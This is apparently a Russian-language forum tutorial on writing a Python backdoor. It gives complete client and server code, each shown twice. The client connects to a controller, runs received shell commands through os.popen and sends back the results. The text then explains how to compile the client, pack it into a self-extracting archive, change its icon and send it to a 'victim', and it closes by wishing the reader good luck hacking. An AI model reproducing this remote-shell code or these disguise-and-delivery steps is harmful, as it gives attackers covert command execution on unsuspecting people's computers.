Всем доброго времени суток! Сегодня я расскажу как написать простой backdoor на Python(3). Клиент import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main() Код import socket import os def ExecuteCommand(command): output = os.popen(command).read() return output def main(): host = "127.0.0.1" # ip который будем использовать port = 6500 # порт while True: while True: try: s = socket.socket() # создаем сокет s.connect((host,port)) # подключаемся except: break while True: try: data = s.recv(1024).decode() # получаем команду output = ExecuteCommand(str(data)) if len(output) == 0: s.send(" ".encode()) # в случае, если рзультат # пустой, отправляем пробел else: s.send(output.encode()) # отправляем результат except: break s.close() if __name__ == '__main__': main() Сервер import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection...") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main() Код import socket def main(): host = "127.0.0.1" # ip который будем прослушивать port = 6500 # порт s = socket.socket() # создаем сокет s.bind((host,port)) s.listen(1) print("Waiting for connection...") connection, address = s.accept() # подключаемся print("Connection from " + str(address)) while True: try: toSend = input("-> ") connection.send(toSend.encode()) # отправляем команду data = connection.recv(1024).decode() # получаем результат print(data) # выводим на экран except: break print("Connection refused") # в случае, если соединение разорванно connection.close() if __name__ == '__main__': main() Сдесь сам "вирус" является клиентом, а не сервером. Теперь о том, как это все скомпилировать и использовать. Требуется: 1. Python 3 2. Pyinstaller (его можно установить через pip командой "pip install pyinstaller") Меняем в обоих скриптах ip на свой, а порт на любой открытый (если он не используется другим приложением конечно). Теперь компилируем Client.py. pyinstaller Client.py Помещаем файлы в папке dist/Client в WinRAR SFX и указываем, что должен запускаться Client.exe (я не стал использовать флажок -F для pyinstaller, так как на некоторых машинах файл может запускаться медленно). Маскируем файл (меняем иконку и т.д.) и отправляем жертва. Запускаем наш сервер и ждем, пока жертва откроет файл. Вот и удаленный доступ. Скачать исходники: https://yadi.sk/d/nohtYQfD3U4D2n Удачи во взломе!